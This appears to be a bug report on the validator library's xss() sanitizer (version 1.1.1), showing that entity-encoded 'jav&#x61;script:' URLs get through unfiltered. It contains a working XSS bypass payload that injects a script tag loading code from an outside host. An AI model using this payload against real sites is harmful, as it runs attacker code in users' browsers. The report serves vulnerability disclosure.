xss() should remove "javascript"

[taku0]

xss() removes string "javascript" in attributes; however, this is insufficient since browsers interpret <a href="jav&#x61;script:...">abc</a> as <a href="javascript:...">abc</a>.

Example

var validator = require('validator');

console.log(validator.sanitize("<a href=\"jav&#x61;script:var x=(document).createElement('script');x.src='http://www.example.org';(document).body.appendChild(x);(alert)('')\">abc</a>").xss());

Expected

<a >abc</a>

Actual (version 1.1.1)

<a href="jav&#x61;script:var x=(document).createElement('script');x.src='http://www.example.org';(document).body.appendChild(x);(alert)('')">abc</a>